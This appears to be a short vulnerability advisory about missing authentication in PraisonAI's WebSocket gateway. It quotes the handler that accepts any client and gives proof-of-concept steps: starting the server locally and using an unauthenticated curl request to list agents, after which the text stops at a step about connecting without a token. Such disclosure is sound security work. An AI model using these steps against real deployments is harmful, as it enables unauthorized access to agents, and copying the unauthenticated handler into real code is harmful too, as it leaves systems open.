PraisonAI Has Missing Authentication in WebSocket Gateway

async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    client_id = str(uuid.uuid4())
    self._clients[client_id] = websocket
    # processes any message from any client

# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" &

# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0}

# Step 2 - connect to WebSocket, no token
